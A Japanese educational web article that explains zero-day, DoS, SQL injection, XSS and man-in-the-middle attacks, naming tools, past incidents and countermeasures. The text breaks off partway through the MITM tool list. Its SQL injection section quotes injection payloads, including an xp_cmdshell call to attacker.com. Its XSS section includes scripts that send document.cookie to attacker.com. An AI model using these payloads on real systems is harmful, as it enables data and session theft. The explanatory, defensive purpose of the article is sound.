
サイバー攻撃の手法は巧妙化しており、ゼロデイ攻撃やSQLインジェクションなど、さまざまな手法が用いられているというのはエンジニアの方々は周知していると思います。サイバー攻撃はアプリケーションだけでなくネットワークやサーバのインフラやソーシャルエンジニアリングのような人間の脆弱性をついた攻撃など様々あります。
本章では代表的な攻撃手法と、それに関連する事件・事故を含めて紹介いたします。セキュリティに興味がある、対策を検討する方々の参考にしていただけましたら幸いです。
※本サイトに記載のツールを自身の所持しているサーバやネットワーク以外に使用した場合には犯罪となりますので決して利用、悪用はしないでください。
脆弱性、サイバー攻撃以外のセキュリティについて知りたい方は以下の記事をご覧ください。
代表的なサイバー攻撃手法と事例
💥Zero-Day Attack (ゼロデイ攻撃)
概要: 公開されていない脆弱性を悪用し、パッチ適用前に攻撃を仕掛ける手法。パッチ適用前に行われるため防御が困難。未知の脆弱性を悪用するため、通常のセキュリティ対策を回避しやすい特徴がある。
📌ゼロデイ攻撃に使われるツール・手法
ゼロデイ攻撃は、未知の脆弱性を悪用するため、通常のセキュリティ対策を回避しやすい特徴がある。攻撃者が用いる具体的なツールや手法には以下のようなものがある。
🛠 攻撃に使われるツール・フレームワーク
- ⚔️Metasploit Framework(メタスプロイト)
- ゼロデイ攻撃用のエクスプロイト(脆弱性攻撃コード)を開発・実行するためのペネトレーションテストツール。
- 既知の脆弱性に対するエクスプロイトが豊富に用意されており、カスタムエクスプロイトの作成も可能。
- 例: CVE-2021-26855(Microsoft Exchange Serverのゼロデイ攻撃)で使用。
- ⚔️Exploit DB(エクスプロイトデータベース)
- ゼロデイ脆弱性に関する情報やPoC(概念実証コード)が共有されるリポジトリ。
- 攻撃者はこれを利用して、脆弱性を悪用するエクスプロイトを作成。
- ⚔️CANVAS(Immunity社)
- ゼロデイ攻撃向けのペネトレーションテストツール。高度なエクスプロイト作成機能を搭載。
- 商用ツールであり、政府機関や企業のセキュリティ研究者にも使用される。
- ⚔️Cobalt Strike
- もともとはペネトレーションテスト用のツールだが、攻撃者がC2(コマンド&コントロール)サーバーの管理に悪用。
- Microsoft Exchange Serverのゼロデイ攻撃(Hafniumグループ)で使用された。
- ⚔️Custom Exploit Scripts(カスタムエクスプロイトスクリプト)
- PythonやC言語を使って、脆弱性を攻撃するスクリプトをゼロから作成。
- 例: Stuxnet(2010年)ではWindowsの複数のゼロデイ脆弱性を悪用するカスタムエクスプロイトが使用された。
🕵️♂️ 具体的なゼロデイ攻撃の手法
- ⚔️リモートコード実行(RCE: Remote Code Execution)
- ゼロデイ脆弱性を利用してターゲットマシン上で任意のコードを実行する攻撃。
- 例: Microsoft Exchange Server攻撃(2021年)
- ⚔️バッファオーバーフロー(Buffer Overflow)
- メモリ管理の脆弱性を突き、任意のコードを実行させる手法。
- 例: WindowsのSMBv1のゼロデイ脆弱性(WannaCry, 2017年)
- ⚔️ヒープスプレー(Heap Spraying)
- メモリ内の特定領域を悪意のあるコードで埋め尽くし、脆弱性を利用してコードを実行させる手法。
- 例: Internet Explorerのゼロデイ攻撃(2014年)
- ⚔️カーネルレベルのエクスプロイト
- OSのカーネルレベルのゼロデイ脆弱性を突いて権限昇格(Privilege Escalation)を行う。
- 例: Dirty COW(CVE-2016-5195, Linuxカーネルのゼロデイ脆弱性)
- ⚔️フィッシング + ゼロデイエクスプロイト
- フィッシングメールでマルウェアを送信し、受信者が開いた際にゼロデイ脆弱性を悪用して感染させる。
- 例: Google Chromeのゼロデイ攻撃(CVE-2023-4863)
🛡 ゼロデイ攻撃への対応策
ゼロデイ攻撃は事前に脆弱性が公開されていないため、完全な防御は困難だが、以下の対策でリスクを最小限にできる。
- ✅振る舞い検知型アンチウイルス・EDR(Endpoint Detection and Response)の導入
- 既知のシグネチャではなく、異常な動作を検知するセキュリティ対策。
- 例: CrowdStrike, Microsoft Defender for Endpoint, SentinelOne
- ✅仮想パッチ(Virtual Patching)の適用
- ゼロデイ脆弱性が公表される前に、IPS/IDS(侵入防御システム)で仮想パッチを適用して防御。
- 例: Trend Micro Deep Security, Palo Alto NetworksのThreat Prevention機能
- ✅最小権限の原則(Principle of Least Privilege, PoLP)の適用
- 管理者権限を必要最小限に制限し、エクスプロイト成功時の影響を抑える。
- ✅WebブラウザとOSの自動更新を有効化
- Google Chrome、Windows、Linuxカーネルなどはゼロデイ攻撃を受けやすいため、迅速にアップデートを適用。
- ✅アプリケーションホワイトリスト
- 信頼されたアプリのみ実行できるように設定することで、不正なコードの実行を防止。
- 例: Microsoft Applocker, Carbon Black
- ✅ネットワークセグメンテーション
- 重要なシステムを分離し、1台の端末が侵害されても全体へ影響が及ばないようにする。
🚨事後対応(攻撃を受けた後の対応策)
- ✅インシデントレスポンスの実施
- 影響範囲を特定し、感染デバイスを隔離。
- ログ分析(SIEM)を行い、攻撃の経路を特定。
- ✅パッチ適用
- ベンダーが提供するセキュリティパッチを即座に適用し、脆弱性を修正。
- ✅フォレンジック調査
- メモリダンプやディスクイメージを取得し、攻撃の詳細を解析。
- ✅通信の遮断
- C2(コマンド&コントロール)サーバーへの通信を遮断し、被害の拡大を防ぐ。
- ✅従業員教育
- フィッシングメールなどを利用したゼロデイ攻撃が多いため、従業員へのセキュリティ意識向上のトレーニングを実施。
🔍ゼロデイ攻撃の事例
- 2021年「Microsoft Exchange Server攻撃」: ゼロデイ脆弱性を利用し、多数の企業や組織が侵害された。
- 2010年Stuxnet (イラン): イランの核施設を標的としたゼロデイ攻撃。Windowsの複数の脆弱性を悪用し、遠心分離機を破壊。
- 2023年Google Chrome ゼロデイ攻撃 (グローバル): 攻撃者がGoogle Chromeの脆弱性(CVE-2023-4863)を悪用し、特定のWebサイト訪問者にマルウェアを配布。
ゼロデイ攻撃は、未知の脆弱性を突くため事前の防御が難しいですが、振る舞い検知、仮想パッチ、最小権限管理 などの対策を組み合わせることでリスクを軽減できる。また、攻撃を受けた場合のインシデントレスポンスを事前に準備 しておくことが重要である。
💥DoS (Denial of Service, サービス拒否攻撃)
概要: DoS(サービス拒否攻撃)は、ターゲットのシステムやネットワークに大量のリクエストを送ることで、リソースを圧迫し、正規のユーザーがサービスを利用できないようにする攻撃のこと。
さらに、複数のマシンを使って同時に攻撃する場合は DDoS(Distributed Denial of Service, 分散型サービス拒否攻撃) と呼ばれる。
📌 DoS攻撃に使われる具体的なツール
攻撃者がDoS攻撃を実行するために使用するツールには、オープンソースのものから、ブラックマーケットで取引されるものまでさまざまな種類があります。
🛠 代表的なDoS/DDoS攻撃ツール
- ⚔️LOIC(Low Orbit Ion Cannon)
- GUIベースのDoS攻撃ツール。
- UDP, TCP, HTTPリクエストを大量送信可能。
- ハッカー集団「Anonymous」によるDDoS攻撃で有名。
- ⚔️HOIC(High Orbit Ion Cannon)
- LOICの改良版で、より強力なHTTPフラッド攻撃が可能。
- プラグイン(Booster)を使用すると攻撃強度を増加できる。
- ⚔️HULK(Http Unbearable Load King)
- WebサーバーへのHTTP GETリクエストを大量に送る攻撃ツール。
- リクエストごとに異なるパターンを使い、WAF(Web Application Firewall)を回避しやすい。
- ⚔️Slowloris
- Webサーバーに対し、不完全なHTTPリクエストを送り続け、接続を維持してリソースを枯渇させる。
- ApacheやIISなどのWebサーバーに特に効果的。
- ⚔️R-U-Dead-Yet?(RUDY)
- Slow HTTP POST攻撃を行うツール。
- 小さなPOSTリクエストを断続的に送り、Webサーバーの接続スレッドを占有。
- ⚔️Tor's Hammer
- Torネットワーク経由で匿名でSlow POST攻撃を行うツール。
- ログに残りにくく、追跡が困難。
- ⚔️Xoic
- シンプルなGUIベースのDoSツールで、UDP, TCP, HTTP, ICMP攻撃を実行可能。
- ⚔️GoldenEye
- HULKと似たHTTP攻撃ツールで、リクエストヘッダを動的に変更しながら大量のリクエストを送信。
- ⚔️Botnets(ボットネット)
- マルウェアに感染した大量のコンピュータを遠隔操作し、一斉にDDoS攻撃を実行する手法。
- Miraiボットネット(IoTデバイスを乗っ取る)などが有名。
- ⚔️Metasploit(DoSモジュール)
- DoS攻撃用のエクスプロイトを含む有名なペネトレーションテストツール。
🕵️♂️ DoS攻撃の手法
DoS攻撃には複数の手法があり、目的や対象に応じて異なる攻撃手法が使われます。
💥 1. ネットワーク層への攻撃
- ⚔️SYNフラッド(SYN Flood)
- TCP 3ウェイハンドシェイクの最初の「SYN」パケットを大量に送り、ターゲットが「ACK」応答を待ち続けることでリソースを枯渇させる。
- 影響: ネットワーク帯域や接続テーブルを圧迫。
- ⚔️UDPフラッド(UDP Flood)
- ランダムなポートに大量のUDPパケットを送り、サーバーが応答しようとする負荷を利用してダウンさせる。
- 影響: 帯域幅の圧迫、サーバーCPU負荷増加。
- ⚔️ICMPフラッド(Ping Flood)
- ICMP(Ping)パケットを大量に送信し、ターゲットのネットワーク帯域を圧迫。
- 影響: 帯域枯渇、ルータやサーバーのリソース消費。
- ⚔️Smurf攻撃
- 大量のICMPリクエストをネットワークブロードキャストアドレスに送ることで、多くの応答をターゲットに集中させる。
- 影響: サーバーリソース枯渇。
- ⚔️DNSリフレクション攻撃
- 攻撃者が偽装した送信元アドレス(ターゲットのIP)を使って、DNSサーバーに大量の問い合わせを送り、DNS応答がターゲットに集中するようにする。
- 影響: 帯域消費、サーバーダウン。
💥 2. アプリケーション層への攻撃
- ⚔️HTTP GET/POST フラッド
- Webサーバーに対し、大量のHTTPリクエストを送り、処理能力を圧迫。
- 例: HULK, GoldenEye, LOIC, HOIC
- ⚔️Slowloris
- Webサーバーに対して、未完了のHTTPリクエストを保持し続け、接続スレッドを消費させる。
- ⚔️RUDY(Slow HTTP POST)
- 非常に小さなデータを断続的にPOSTし続け、ターゲットの接続スレッドを消費。
🛡 DoS攻撃への対応策
✅ 予防策
- ✅ファイアウォール & WAF(Web Application Firewall)の導入
- 例: AWS WAF, Cloudflare, Imperva
- 不審なトラフィックをブロックし、DDoS攻撃を軽減。
- ✅レートリミット(Rate Limiting)の設定
- 1秒あたりのリクエスト数を制限し、異常なトラフィックを抑制。
- 例: Nginx, Apacheのmod_evasive
- ✅CDN(Content Delivery Network)の活用
- 例: Cloudflare, Akamai, AWS Shield
- トラフィックを分散し、負荷を軽減。
- ✅SYNクッキーの有効化
- SYNフラッド攻撃を軽減するため、LinuxやWindowsで有効化可能。
- ✅DNSリフレクション攻撃の防止
- DNSサーバーで「Recursion Disabled」を設定。
- ✅不要なICMP応答の無効化
- ping(ICMP)攻撃を防ぐため、サーバーで無効化。
🚨 事後対応
- ✅攻撃トラフィックの分析
- 例: Wireshark, Splunk, Graylog
- 異常なパケットのソースを特定。
- ✅攻撃元のIPブロック
- ファイアウォール(iptables, Windows Defender Firewall)で遮断。
- ✅ISPやDDoS対策サービスへの連絡
- 大規模なDDoS攻撃は専門の対策サービス(Cloudflare, AWS Shield, Arbor Networks)に対応を依頼。
🔍DoS攻撃の事例
- 2016年「Dyn DDoS攻撃」: IoT機器を乗っ取った「Miraiボットネット」によるDDoS攻撃で、Amazon、Twitterなどの大手サービスが影響を受けた。
- 2007年Estonia DoS攻撃 (エストニア): 政府機関や銀行が大規模DoS攻撃を受け、国のインフラが一時停止。
- 2019年Amazon AWS DoS攻撃 ( 米国): 2.3Tbpsの攻撃を受け、クラウドサービスに影響。
DoS攻撃は多様な手法で行われるが、WAF, CDN, レートリミット、SYNクッキー などの対策を組み合わせることで防御が可能である。また、攻撃を受けた際はトラフィック分析とIPブロック で迅速に対応することが重要である。
💥SQL Injection (SQLインジェクション)
概要: SQLインジェクション(SQLi)は、データベースとやり取りするWebアプリケーションの脆弱性を悪用し、不正なSQLクエリを実行させる攻撃のこと。
成功すると、攻撃者は データベースの情報を盗み出したり、改ざんしたり、削除したり することができる。
🛠 SQLインジェクションの攻撃ツール
攻撃者がSQLiを実行する際に使用するツールには、オープンソースのものからハッキングツールまでさまざまな種類がある。
📌 代表的な攻撃ツール
- ⚔️sqlmap(最も有名なSQLiツール)
- 自動化されたSQLインジェクションテストツール。
- データベースの種類を自動検出し、情報抽出、データ改ざん、管理者アクセスの奪取が可能。
- コマンド例:
sqlmap -u "http://example.com/index.php?id=1" --dbs
(↑ id=1
のパラメータにSQLインジェクションを仕掛け、データベース一覧を取得)
- ⚔️Havij
- GUIベースのSQLインジェクションツール。
- データベースのダンプ(抜き出し)や管理者アカウントの取得を容易にする。
- 初心者にも使いやすいため、多くのハッカーに利用される。
- ⚔️SQLNinja
- Microsoft SQL Server を標的とする高度なSQLインジェクションツール。
- シェルの取得やシステム管理者権限の奪取が可能。
- ⚔️jSQL Injection
- JavaベースのSQLiツールで、Windows・Linux・Macで動作。
- さまざまなデータベース(MySQL, PostgreSQL, Oracle, SQL Server)に対応。
- ⚔️BBQSQL
- Blind SQL Injection(盲目的SQLi)を実行するためのツール。
- Pythonベースで、エラーを返さないタイプのSQLiに特化。
- ⚔️NoSQLMap
- NoSQLデータベース(MongoDBなど)に対するインジェクション攻撃を実行するツール。
🕵️♂️ SQLインジェクションの手法
SQLiは、ターゲットのアプリケーションがどのようにSQLクエリを処理しているかによって、さまざまな攻撃手法が存在します。
⚔️1. クラシックSQLインジェクション(エラーベース)
- 手法: 攻撃者が不正なSQLコードをフォームやURLパラメータに入力し、データベースエラーを引き起こして情報を得る。
- 例
通常、Webアプリケーションのログインフォームでは、ユーザー名とパスワードを入力して、データベース内のユーザー情報と照らし合わせて認証を行う。例えば、次のようなSQLクエリが作成されるとする。
SELECT * FROM users WHERE username = 'ユーザー名' AND password = 'パスワード';
このクエリは、users
テーブルからユーザー名とパスワードが一致するレコードを取得する。ユーザー名とパスワードが一致する場合に限り、そのユーザーはログインできるようになる。
攻撃者がログインフォームに以下のような内容を入力する。
' OR '1'='1' --
これをユーザー名やパスワードの入力欄に入力すると、元のSQLクエリは次のように変化する。
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' --;
''
(空の文字列):username
の条件部分が空文字列になる。これ自体は特に意味はないが、攻撃者が入力した部分を無効化させる。OR '1'='1'
:この部分が重要である。'1'='1'
は常に真(True)となる条件式だ。これにより、WHERE
句全体が次のように評価される:username = '' OR '1'='1'
が常に真となるため、WHERE
句が常にtureになる。つまり、条件を満たす行がすべて選ばれることになる。
--
:これはSQLのコメントを開始するための記号だ。この後の部分は無視される。これにより、攻撃者が元々のpassword = ''
部分を無効化することができる。
- 結果 上記のクエリが実行されると、
'1'='1'
が常にtureとなり、WHERE
句は常にtureとなるため、users
テーブル内のすべてのユーザーのデータが返される。つまり、認証を通過することなく、システム内のすべてのユーザー情報を取得できるということだ。 例えば、もしusers
テーブルに以下のデータがあった場合、攻撃者は、ログインに失敗しても、このクエリを使うことで全てのユーザー情報(username
とpassword
)を得られる。
username | password |
---|---|
admin | 1234 |
user1 | 5678 |
🕵️♂️なぜこの攻撃が成功するのか?
この攻撃は、ユーザーの入力がSQLクエリに直接埋め込まれる場合に成功する。特に、入力値が適切に検証されず、クエリに組み込まれると、攻撃者は条件式を操作できるため、システムの意図した動作を変更できる。
OR '1'='1'
が常に真になるため、クエリの結果としてすべての行が返されることになり、攻撃者は認証を回避できる。
影響:
- ユーザー認証を回避(管理者権限でログイン)
- データベースの情報が漏洩
⚔️2. UNIONベースSQLインジェクション
- 手法:
UNION
SQLステートメントを使い、別のクエリを結合して情報を取得。 - 例
多くのWebアプリケーションは、ユーザーからの入力を基に動的にSQLクエリを作成して、データベースから情報を取得する。たとえば、ユーザーがログインする際に入力するユーザー名とパスワードに基づいて、システムは次のようなSQLクエリを実行することがある。
SELECT * FROM users WHERE username = '入力値' AND password = '入力値';
攻撃者が入力フィールドに悪意のあるSQLコードを注入します。たとえば、ログインフォームに次のような文字列を入力する場合
' UNION SELECT username, password FROM users --
これにより、SQLは次のように結合される。
SELECT * FROM users WHERE username = '' AND password = '' UNION SELECT username, password FROM users --;
''
は空の文字列を意味し、元々のWHERE条件を無効にする(この場合、全てのユーザーが対象になってしまう)。UNION SELECT username, password FROM users
は、users
テーブルから全てのユーザー名とパスワードを取得するための部分である。--
はSQLコメントで、これ以降のクエリ部分を無効にして攻撃者がシステムの予期しない部分を制御できるようにする。
- 情報の抜き取り 上記のように、SQLインジェクションにより、攻撃者はユーザー名とパスワードを含むデータを不正に取得することができる。これにより、システム内の重要な情報(ユーザー認証情報など)を盗むことが可能になる。
影響:
- データベース内の情報(ユーザー名、パスワードなど)が漏洩
⚔️3. ブラインドSQLインジェクション(Blind SQL Injection)
エラーメッセージが表示されない場合でも、攻撃者がデータを取得する手法。
手法①(Boolean-Based Blind SQLi)
- 条件が
TRUE
かFALSE
かでページの挙動が変わるのを利用。
Boolean-Based Blind SQL Injection(ブールベースの盲目SQLインジェクション)は、攻撃者がサーバーのレスポンスを観察して情報を抽出する手法で、直接的にデータを取得することはない。代わりに、攻撃者はクエリの結果を操作して、レスポンスに基づいてシステムがどのように動作しているかを推測する。
' AND 1=1 -- (正常動作)
' AND 1=2 -- (エラーまたは違う動作)
影響:
攻撃者は条件を切り替えることでデータベースの動作を観察し、攻撃の成否やデータの可否を推測する。
具体的には:
AND 1=1
のような条件が TRUE の場合に、SQLクエリが正常に動作し、レスポンスが正常に返ってくるか。AND 1=2
のような条件が FALSE の場合は、結果が取得できなくなり、異常なレスポンスやエラーメッセージが表示されるか。
攻撃者は、こういった変化を繰り返しながら、システムがどのように反応するかを調べ、必要な情報を抽出するために次のステップを踏む。
手法②(Time-Based Blind SQLi)
- データベースの処理時間を使って情報を抽出。
SLEEP(秒数)
は、指定された秒数だけ処理を停止させるSQL関数である。SLEEP(5)
の場合、SQLサーバーは5秒間処理を停止し、5秒後に結果を返す。攻撃者はこの遅延を利用して、サーバーが特定の条件を満たす場合に意図的に遅延を発生させ、システムの挙動を観察して情報を抽出する。
攻撃者がSQLインジェクションを利用して入力フィールドに以下のような内容を入力する。
' OR IF(1=1, SLEEP(5), 0) --
これが元のクエリに組み込まれると、SQLは次のように実行される。
SELECT * FROM users WHERE username = '' OR IF(1=1, SLEEP(5), 0) -- ;
1=1
は常に ture なので、SLEEP(5)
が実行される。つまり、5秒間処理が停止する。 --
はSQLのコメントで、それ以降の部分は無視される。
影響:
- データ取得は遅いが、WAFを回避しやすい。
- 入力値の検査を回避: WAFは通常、SQLインジェクションのパターン(例:
' OR '1'='1
やUNION SELECT
)を検出し、攻撃をブロックする。しかし、SLEEP
関数を使った攻撃は文字列としては攻撃の典型的なパターンに見えないため、WAFの検出ルールを回避することがで可能である。SLEEP
関数がクエリのロジックに組み込まれているだけで、攻撃自体はデータベースの応答時間に依存しており、WAFはこの挙動自体を検出することが難しい。 - レスポンス時間に基づく情報抽出: 攻撃者は、
SLEEP
を使ってレスポンス時間を観察することにより、サーバーの動作を知ることができる。たとえば、攻撃者は特定の条件(例:1=1
を1=0
に変更)を使ってサーバーがどれだけ時間をかけて応答するかを確認し、レスポンスが遅延した場合はクエリが実行されたことを知ることができる。この方法で、データベースの動作を逐次的に調べ、情報を抜き取ることができる。 - WAFが動的な遅延に反応しない: 通常、WAFは即時に危険な入力を検出することに集中しますが、
SLEEP
関数による遅延は攻撃者が数秒の遅延を意図的に引き起こすため、WAFがリクエストをブロックするタイミングを見逃すことがある。攻撃者は、リクエストが成功するまで待つことができるので、WAFがレスポンスを時間内に処理しきれない場合があるため、攻撃が隠れやすくなる。 - WAFのリソース消費の回避:
SLEEP
関数を用いた攻撃は、特にサーバー側で遅延を発生させるため、攻撃者が意図的に時間をかけて情報を取得する。多くのWAFは、時間のかかるリクエストを過度に処理しないように設計されている場合があり、このような遅延ベースの攻撃を検出するためにはより高度な監視が必要である。
⚔️4. Out-of-Band(OOB)SQLインジェクション
- 手法: データを直接レスポンスに含めず、攻撃者のサーバーに送る。
- 例 sqlコピーする編集する
'; EXEC master.dbo.xp_cmdshell('nslookup attacker.com') --
影響:- データベース外部との通信が可能な場合、データ漏洩やリモートコード実行(RCE)のリスク。
🛡 SQLインジェクションの対策
SQLインジェクションを防ぐためには、Webアプリケーションの開発・設定・運用の各段階で適切な対策を実施する必要があります。
✅ 1. プレースホルダー(プリペアドステートメント)の使用
- SQLクエリのパラメータを ユーザー入力と分離 することで、SQLiを防ぐ。
- 安全なコード例(PHP + MySQL)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
効果:
- ユーザー入力がSQLとして実行されない。
✅ 2. 入力バリデーション
- 数値のみ受け付けるべきパラメータには、型チェック を行う。
if (!is_numeric($_GET['id'])) {
die("Invalid input");
}
✅ 3. WAF(Web Application Firewall)の導入
- SQLi攻撃をブロックするWAFを利用。
- 例:
- Cloudflare WAF
- ModSecurity(Apache, Nginx用)
✅ 4. データベース権限の最小化
- アプリケーションが 不要なデータベース権限 を持たないようにする。
- 推奨設定
SELECT
だけ必要なユーザーにはSELECT
のみ付与DROP
やALTER
の権限を制限
✅ 5. エラーメッセージの制限
- SQLエラーをそのまま表示しないようにする。
ini_set('display_errors', 0);
error_reporting(0);
✅ 6. ログ監視と侵入検知
- SQLi攻撃の兆候をログ監視ツールで検出。
- 例:
- OSSEC, Splunk, Fail2ban
🔍SQL Injection (SQLインジェクション)の事例
- 2011年「ソニー・ピクチャーズの情報漏洩」: SQLインジェクションにより、約1億件のユーザーデータが流出。
- 2008年Heartland Payment Systems (米国): 1億3,400万件以上のクレジットカード情報が流出。
SQLインジェクションは、簡単な攻撃手法ながら非常に強力で、データ漏洩・管理者権限の奪取・サーバー制御 など重大な影響を及ぼします。
「プレースホルダーの使用」「WAF導入」「データベース権限の最小化」 を徹底し、セキュリティを強化しましょう。
💥XSS (Cross-Site Scripting, クロスサイトスクリプティング)
概要: XSS (Cross-Site Scripting)(クロスサイトスクリプティング)は、ウェブアプリケーションにおいて悪意のあるスクリプト(通常はJavaScript)をユーザーのブラウザで実行させる攻撃手法です。攻撃者は、ユーザーの入力に含まれた悪意のあるコードをターゲットとするウェブサイトに送信し、そのコードが実行されることで様々な不正行為を引き起こします。具体的には、セッションの乗っ取り、ユーザーの情報の盗難、フィッシングなどが含まれます。
🕵️♂️XSSの種類
- ⚔️Stored XSS (保存型XSS)
- 攻撃者が悪意のあるスクリプトをウェブサイトに送信し、そのスクリプトがサーバー側で保存されます。次にそのページが訪問者によって表示されると、スクリプトが実行されます。
- 例: フォーラムの投稿、コメント欄、掲示板に悪意のあるスクリプトが埋め込まれる。
- ⚔️Reflected XSS (反射型XSS)
- 悪意のあるスクリプトがURLやリクエストパラメータに含まれ、サーバーがそのままレスポンスとして返す場合に発生します。このスクリプトは即座にブラウザで実行されます。
- 例: 攻撃者が悪意のあるURLをユーザーに送信し、ユーザーがそのURLをクリックするとスクリプトが実行される。
- ⚔️DOM-based XSS (DOMベースXSS)
- 攻撃者が悪意のあるスクリプトをページに挿入し、JavaScriptがクライアントサイド(ブラウザ側)でそのスクリプトを実行します。このタイプのXSSは、DOM(Document Object Model)に基づく操作が原因です。
- 例: JavaScriptの
document.location
を操作して悪意のあるコードを実行。
🛠 XSS攻撃に使われる具体的な手法とツール
⚔️1.スクリプト挿入
- 攻撃者はフォームやURLパラメータ、HTTPヘッダなどに悪意のあるJavaScriptを挿入する。
- 代表的なスクリプトコードは以下のようなものとなる。
<script>alert('XSS attack');</script>
これにより、ページがロードされた際にJavaScriptが実行され、攻撃者の目的を達成します。
⚔️2.JavaScriptコードの実行
- 攻撃者はJavaScriptを利用して、ユーザーのブラウザ内で任意の操作を実行させます。
- ユーザーのクッキー情報を盗み出すスクリプトの例は以下。
<script>document.location='http://attacker.com/steal-cookie?cookie=' + document.cookie;</script>
これにより、攻撃者は対象ユーザーのセッション情報やクッキーを盗むことができる。
⚔️3.ツールによる自動化
XSSの攻撃には、いくつかのツールが使用される。これらはXSS攻撃を効率的に行うために使われる。
- ⚔️Burp Suite
- Burp Suiteはウェブアプリケーションのセキュリティテストを支援するツールで、XSS脆弱性の検出やエクスプロイトに使われる。リクエストをインターセプトして改変し、悪意のあるスクリプトを挿入することが可能。
- ⚔️OWASP ZAP (Zed Attack Proxy)
- ZAPは、ウェブアプリケーションの脆弱性診断ツールで、XSS攻撃を検出し、自動的にエクスプロイトを試みることができる。ターゲットサイトに潜在的な脆弱性を見つけ出す。
- ⚔️XSSer
- XSSerは、XSSの脆弱性をスキャンし、自動で悪意のあるスクリプトを注入するツールである。これを使ってXSS攻撃を実行したり、ターゲットサイトの脆弱性を調べることが可能である。
🕵️♂️ エクスプロイトの具体例
攻撃者が実際にXSS攻撃を行う際、以下のような悪意のあるコードを使って攻撃を実行する。
<script>
var img = new Image();
img.src = "http://attacker.com/steal-cookie?cookie=" + document.cookie;
</script>
🛡 XSS攻撃の対応策
XSS攻撃を防止するためには、以下の対応策が有効である。
✅1.入力検証とサニタイズ
- ユーザーからの入力をサニタイズ(無害化)し、JavaScriptコードとして解釈されないようにする。HTMLエスケープを行って、
<
、>
、&
、"
、'
などの特殊文字を適切に処理する。 - 例えば、以下のように
<script>
タグをエスケープする
<script>alert('XSS');</script>
✅2.コンテンツセキュリティポリシー(CSP)
- CSP(Content Security Policy)は、ウェブページに対して許可するリソースのソースを指定するセキュリティ機構で、XSS攻撃を防ぐために非常に効果的である。特に、外部スクリプトの読み込みを制限することで、悪意のあるスクリプトが実行されることを防ぐ。
- CSP(Content Security Policy)の設定は、ウェブサーバーで行う。具体的には、HTTPレスポンスヘッダーにCSPポリシーを追加する方法が一般的である。
- CSPポリシーは、HTTPレスポンスヘッダーとしてサーバーからクライアント(ブラウザ)に送信される。これにより、ブラウザがリソースをどこから読み込むべきかを理解し、それを制御する。
🕵️♂️ウェブサーバーで設定
ウェブサーバー(Apache、Nginxなど)の設定ファイルを編集して、CSPヘッダーを送信する。以下は、一般的なウェブサーバーでの設定方法である。
✅Apacheの場合
Apacheの設定ファイル(httpd.conf
や .htaccess
)に以下のように追加する。
Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted.cdn.com;"
✅Nginxの場合
Nginxの設定ファイル(nginx.conf
)に以下のように追加する。
add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://trusted.cdn.com;";
これらの設定は、指定されたポリシーをすべてのレスポンスに適用し、ブラウザが読み込むリソースの制限を行う。
✅Webアプリケーションコード内で設定
サーバーサイドのコード(例:PHP、Node.jsなど)を使って、動的にCSPヘッダーを設定することも可能である。例えば、PHPでは以下のようにヘッダーを送信する。
header("Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;");
Node.jsの場合(Expressを使用)
app.use((req, res, next) => {
res.setHeader("Content-Security-Policy", "default-src 'self'; script-src 'self' https://trusted.cdn.com;");
next();
});
✅HTMLメタタグで設定
HTMLファイル内でも、CSPをメタタグで設定することもできるが、サーバーサイドで設定する方が優先されるため、あまり推奨されない。しかし、HTML内で設定したい場合は、以下のように記述する。
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://trusted.cdn.com;">
CSPの設定は基本的にはウェブサーバー側で行う。ApacheやNginxなどのサーバー設定でHTTPレスポンスヘッダーとして送信するのが一般的で、必要に応じてアプリケーションコード内でも動的に設定することができる。また、HTMLのメタタグで設定することも可能だが、サーバーサイド設定が最も確実で推奨される。
✅3.TTPOnlyおよびSecure属性をクッキーに設定
- セッションIDなどの重要な情報を保存するクッキーには、
HttpOnly
属性を設定し、JavaScriptからアクセスできないようにする。また、Secure
属性を設定して、HTTPS接続時のみクッキーが送信されるようにする。
✅4.XSSフィルタリング
- WAF(Web Application Firewall)やセキュリティ製品を導入して、一般的なXSS攻撃パターンをフィルタリングすることができる。これにより、既知の攻撃コードを防止が可能である。
✅5.出力エスケープ
- ユーザーが入力した内容をそのままブラウザに出力する場合、HTMLエスケープを行う。特に、ユーザー入力がHTMLやJavaScriptのコードとして解釈されないように処理する。
✅6.テンプレートエンジンの使用
- セキュアなテンプレートエンジン(例:Jinja2, Handlebars)を使用して、動的にHTMLを生成する際に出力エスケープを自動的に行うようにする。
🔍XSS攻撃の事例
- 2020年「PayPal XSS脆弱性」: PayPalのログインページでXSS脆弱性が発見され、フィッシング詐欺に悪用されるリスクが指摘された。
- 2005年 MySpaceワーム (米国): XSSを利用してワームが拡散、100万アカウント以上が感染。
- 2021年 Google Docs XSS脆弱性 (2021, グローバル): Google DocsのXSS脆弱性が発見され、悪用リスクが指摘。
XSS攻撃は、悪意のあるJavaScriptをターゲットとなるユーザーのブラウザで実行させることで、セッション乗っ取りや情報盗難、フィッシングなどの攻撃を実行する手法であある。攻撃者は、URLパラメータ、フォーム入力、HTTPヘッダなどを使って悪意のあるコードを挿入する。
対応策としては、入力検証とサニタイズ、コンテンツセキュリティポリシー(CSP)の実施、HTTPOnlyおよびSecure属性の設定、出力エスケープなどを行うことが重要である。また、WAFを活用して一般的なXSS攻撃を検出・防御することも効果的だ。
💥MITM (Man-in-the-Middle Attack, 中間者攻撃)
概要: MITM (Man-in-the-Middle Attack, 中間者攻撃) は、通信中のデータを盗聴したり、改竄したりする攻撃である。攻撃者は、クライアントとサーバー間の通信に介入し、双方を騙してデータを不正に操作する。MITM攻撃は、暗号化されていない通信や弱い暗号化が使われている場合に特に効果的となる。
🛠 MITM攻撃に使われるツール
- ⚔️Wireshark
- 用途: 通信の盗聴やパケットキャプチャを行うツール。MITM攻撃の一環として、ネットワーク上で送受信されるデータを監視し、特に暗号化されていないHTTP通信やその他のセキュリティが不十分な通信をキャプチャするために使われる。
- 対策: HTTPS通信を使用し、通信内容を暗号化する。
- ⚔️Ettercap
- 用途: ネットワーク中でMITM攻撃を行うためのツール。ARPキャッシュポイズニングを使って、ターゲットのネットワークトラフィックを傍受し、改竄やインジェクションを行うことが可能である。
- 対策: ARPスプーフィングを防ぐために、静的ARPエントリを使用するか、ネットワーク内でIP-MACアドレスの一致を確認するツールを使用する。
- ⚔️SSLStrip
